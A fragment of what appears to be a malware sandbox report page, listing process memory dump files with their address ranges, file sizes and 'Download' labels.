                Filesize

                136KB

                Download

              • memory/3140-10-0x00000000051B0000-0x00000000057D8000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/3140-29-0x0000000006570000-0x000000000658A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/3140-9-0x0000000004B70000-0x0000000004B80000-memory.dmp

                Filesize

                64KB

                Download

              • memory/3140-32-0x0000000073A80000-0x0000000074230000-memory.dmp

                Filesize

                7.7MB

                Download

              • memory/3140-8-0x0000000073A80000-0x0000000074230000-memory.dmp

                Filesize

                7.7MB

                Download

              • memory/3140-27-0x0000000004B70000-0x0000000004B80000-memory.dmp

                Filesize

                64KB

                Download

              • memory/3140-24-0x0000000006080000-0x000000000609E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/3140-25-0x00000000060D0000-0x000000000611C000-memory.dmp

                Filesize

                304KB

                Download

              • memory/3140-7-0x0000000004AB0000-0x0000000004AE6000-memory.dmp

                Filesize

                216KB

                Download

              • memory/3996-1129-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3996-14414-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3996-14452-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3996-14491-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3996-14512-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/5916-11429-0x0000000000400000-0x0000000000477000-memory.dmp

                Filesize

                476KB

                Download

              • memory/5916-2497-0x0000000000400000-0x0000000000477000-memory.dmp

                Filesize

                476KB

                Download